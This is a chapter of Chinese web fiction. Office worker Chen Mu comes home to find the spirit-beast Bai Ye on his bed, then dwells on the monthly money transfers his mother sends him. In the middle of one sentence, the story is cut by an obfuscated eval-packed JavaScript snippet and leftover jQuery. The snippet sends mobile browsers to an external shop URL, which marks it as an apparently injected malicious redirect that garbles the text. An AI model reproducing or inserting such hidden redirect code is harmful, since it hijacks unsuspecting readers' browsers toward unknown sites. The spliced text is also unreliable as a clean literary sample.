陈木干了一天，终于下班了。
他从工位上站起来的时候，后腰发出一声闷响，关节咔地弹了一下。
窗外天已经暗了，百叶窗透进来的光从午后的亮白色变成了傍晚的灰紫色。旁边的同事已经走了一大半，剩下几个人还在敲键盘，屏幕的蓝光照在他们脸上，安安静静的。
陈木收拾好桌上的东西，把笔记本合上、充电线绕好塞进抽屉、把那个新笔记本合上放进文件袋里。
他站起来，看了一眼桌面确认没有遗落任何东西，然后转身沿着走廊走向电梯。
电梯下行的时候，他靠着电梯壁，看着楼层数字一格一格地跳动。镜面里映出他有点疲惫的脸。
第一天上班，没干什么重活，但整个人像是被按在了工位上，耗光了精神气。
出了科技园大门，晚风迎面吹过来，带着白天残留的暑气和傍晚的凉意混合在一起。他走到地铁站，刷了卡进站。
进了地铁，他找了一个靠门的位置坐下。
到家的时候，天已经全黑了。
楼道里的声控灯亮了一路。陈木走到家门口，摸出钥匙，插进锁孔，拧了两圈。门开了，里面黑着灯，客厅里没有人。
他换了鞋，把包放在鞋柜上。客厅里安安静静的，沙发上的毯子叠得好好的，茶几上没有杯子，阳台上也没有人。
他走进厨房看了一眼。灶台干净，水槽干净，冰箱门关着。他打开冰箱门，里面的东西没有动过，早上放的牛奶还在原位。
他关上冰箱门，转身走向卧室。
卧室门虚掩着，门缝里漏出一线暖黄色的灯光。陈木伸手推开门，然后站住了。
柏夜坐在他的床上。
黑色的头发微微翘着，金色的眼睛从床头方向抬起来，看着他。他穿着陈木那件白色短袖和深灰色短裤，盘着腿坐在床的正中央，手边散落着几张纸——陈木的简历草稿，用红色水笔划掉了几行又重写的那个版本。纸页皱皱巴巴的，有几张折了角，像是被翻过好几遍。
陈木：“……”
柏夜看了他一眼，又低头看了看床上那些纸，然后抬起头来。
"这些字，"他说，"是你写的？"
陈木深吸了一口气，走进卧室，弯腰把那些纸一张一张捡起来，码整齐。
简历上那些被划掉的痕迹在灯光下格外显眼，划掉重写的字迹比旁边的更用力，有些字甚至把纸面压出了凹痕。
"是我写的。"陈木把纸叠好，放在书桌上，用一本书压住，"你别乱翻我东西。"
柏夜没有回答。
他坐在床上，看着陈木做完这一系列动作，尾巴从腿边垂下来，尾尖搭在床单上，微微晃了一下。
陈木把书桌上那摞纸往里面推了推，转过身看着柏夜。
两个人隔着大约两步的距离，安静了几秒。
然后陈木开口了："你今天晚上想睡这里？"
柏夜点了点头，金色的眼睛一直看着陈木。
"……不行。"陈木说。
柏夜没有说话。他坐在那里，两条腿从盘着的状态放下来，脚掌踩在床沿上，双手撑在身体两侧。他看着陈木，就那么看着，眼睛没有眨，尾巴也没有动。
那个姿态不是"商量"，也不是"请求"，更像是一种"我已经坐在这里了，你自己想"。陈木发现自己在那道视线下面站了三秒，就开始想往后退了。
"那我去睡沙发。"
"别睡沙发。"柏夜说。他的声音不高不低，尾音没有上挑也没有下坠，"沙发睡得不舒服。"
陈木愣住了。
他站在原地，看着柏夜。这句话比"我想睡这里"让他意外得多。他想起第一天晚上，他抱了一条毯子扔在沙发上的时候，柏夜坐在沙发上说"不要，我要睡床"。那时候他好像完全不觉得沙发是"不舒服"的，他只是要睡床而已。
"你——"陈木开口，"什么意思？"
"没什么意思。"柏夜回答。
陈木站在卧室门口，手还搭在门框上。他看着柏夜，那双金色的眼睛正从床沿抬起来望着他，尾巴垂在床单上，尾尖极其轻微地弯着，像一个还没想好要不要说出口的句子。
"我睡沙发就行了。"他重复了一遍，"你——"
手机响了。
铃声在安静的房间里突然炸开，陈木低头摸出手机。屏幕上弹出一条短信通知，银行的，一行字很短。
"【XX银行】您尾号0872的储蓄卡账户于7月7日19:23入账转账人民币1500.00元，余额3342.00元。"
陈木看着那条短信，表情没有变化。他的拇指按在屏幕上，手指微微压紧了手机边框，但没有滑出任何动作。
他站在那里，低头看着那行字看了很久，然后他把手机扣在掌心里，屏幕朝下。
"没事。"他说，声音比刚才低了一点，"我睡沙发就行了。"
他转身走出卧室，顺手把门带上了。门扇合拢的时候发出一声极轻的"咔"，像一个被强行中断的对话。
柏夜坐在床上，看着那扇关上的门。
有一瞬间他微微愣神。
那个人类刚才站在那里，低头看着手机屏幕，然后抬起头说"没事"。他的声音没有变，但他的肩膀在屏幕亮光熄灭的那一瞬间微微塌下去了一点。很小，小到如果不是一直在看他，根本不会注意到。
柏夜坐在床沿上，尾巴从垂着的状态收回来，绕到腿上，盘起来。尾尖轻轻敲了一下自己的膝盖，然后停住。
客厅里没有开灯。
陈木走到沙发旁边，弯腰把那条毯子拿起来抖开。
早上的时候柏夜叠得很好，四四方方的，他把毯子展平盖在沙发面上，然后坐下来。
手机还握在手里，屏幕朝下。客厅里没有灯，只有卧室门缝透出来的一线暖黄色的光，在地板上铺了一条窄窄的光带。陈木坐在暗处，把手机翻过来，按亮屏幕，又看了一遍那条短信。
中国银行，余额3342。
1500到账了。
他往下滑了一行，看到上一条转账通知——6月28日，同样1500，入账。再往上滑一条，5月28日，1500。再往上，4月28日。再往上，3月28日。
他滑了很久，每个月一条，月末的固定时间，从来没有断过。从大学毕业之后到现在，每一笔都在。
陈木锁了屏幕，把手机放在茶几上，仰头靠进沙发靠背。
他盯着天花板。客厅的天花板和卧室里是同一块墙皮，只是这一片没有翘起来。月光从窗户照进来，在地板上铺了一小片银白色的光。远处有车流声，隔着一整条街的距离，模糊得像一层薄薄的白噪音。
他想起很久以前的事。也许是高中，也许更早。那时候家里还住在那套老房子里，陈李安还没搬进来的那套，陈巧巧带着他两个人住的那套。
后来有人介绍了陈李安，再后来陈李安搬进来了，紧接着陈小禾出生了，再后来他高考完，填了离家最远的一个大学，在高考志愿表上选了省外的。
他在大学里待了四年，寒暑假回来住几天，然后回学校。
毕业之后他找了工作，从那个家里搬出来，自己租了这间一室一厅。搬家那天陈巧巧帮他收拾东西，没有多说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735567|209045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么，只是在他走的时候往他包里塞了一个信封。他在高铁上拆开看，里面是两千块钱。
从那之后每个月月底，他的银行卡里会多出1500元。
陈木把眼睛闭上了。
黑暗中他的呼吸很稳，均匀地起落。卧室门缝里那线暖黄色的光还亮着，从他躺着的位置看过去，那条光带像一条安静的分界线，把客厅和卧室隔开成两个世界。
他不知道自己在沙发上躺了多久。也许是二十分钟，也许更久。他听到卧室里传来一声很轻的声响——像什么东西碰了一下门板。他没有睁眼。
又过了一会儿，他听到卧室的门被打开了。门轴转动时发出一声极轻的"吱"，然后是一阵很轻的脚步声，从卧室门口走出来，经过走廊，停在沙发旁边。脚步声停了，但没有往回走的迹象。
陈木睁开眼。
柏夜站在沙发旁边。他赤着脚，头发在黑暗中比平时显得更深。
他的尾巴没有收起来，松松地垂在身侧，尾尖在微弱的光线里几乎看不见。
"你——"陈木坐起来，"干嘛？"
柏夜没有回答，他坐在沙发前面的地板上，背靠着沙发的边缘，那床被子被他垫在身下，他的头顶正好和沙发坐垫的上沿齐平。
他抱着膝盖坐在地板上，尾巴从身后弯过来，绕到身前，尾尖搭在他的脚背上。
"你不是要睡觉吗？"柏夜问。
陈木靠在沙发靠背上，低头看着他："你坐地上干什么？"
"你睡了我就回去睡。"
"我不睡你就不走了？"
柏夜没有回答。他的下巴搁在膝盖上，从那个位置仰起头看着陈木，金色的眼睛在暗处像两枚蓄着光的旧铜币。他的尾巴从脚背上滑下来，尾尖在地板上极其轻微地划了一下，然后停下来。
陈木重新躺下来。他侧过身，面朝着沙发靠背，毯子拉到肩膀上面。他闭上眼睛，听到地板上传来的极轻的呼吸声，平缓而均匀。
他听到自己的心跳也在慢慢变平。
"柏夜。"他开口。
"嗯。"回答的声音从沙发下面传上来。
"你今天——"他顿了一下，"在家里做了些什么？"
"……坐在窗台上。"柏夜说，"看下面的人。"
"都看到了什么？"
"人，车。"
陈木闭着眼睛："你为什么会来到这个世界？"
柏夜沉默了一会，说："被追杀的。在那个世界里，我的力量很强，那些人类都很忌惮我，所以想抢夺我的力量。我和其他几个力量强大的灵兽一路逃到了这里。"
陈木没有再问了。他的呼吸慢下来，肩膀的线条在毯子下面一点一点地放松。耳边有晚风从纱窗缝隙里漏进来的声音，还有地板某个方向传来的均匀呼吸。
他睡着了。
过了一会儿，地板上传来一声极轻的响动。柏夜从地板上站起来，光脚踩过走廊，走回卧室门口。他在门口停了一下，没有回头。然后他走进卧室，轻轻地把门带上，关掉了灯。
黑暗中他摸到床边，坐下来。床头柜上还放着陈木那张简历草稿，他摸到了那张纸的边缘，把纸拿起来，借着窗外透进来的夜光看了看。
"陈木"。
那两个字写在纸张最顶端，墨水已经干了，但字的边缘微微隆起，像写过的人很用力。
柏夜把那张纸叠了一下，放在床头柜的角落。
然后他躺下去，仰面看着天花板。黑暗里他的耳朵轻轻动了一下，朝客厅的方向转了转，确认了那一段平稳的呼吸声还在那里。
他闭上了眼睛。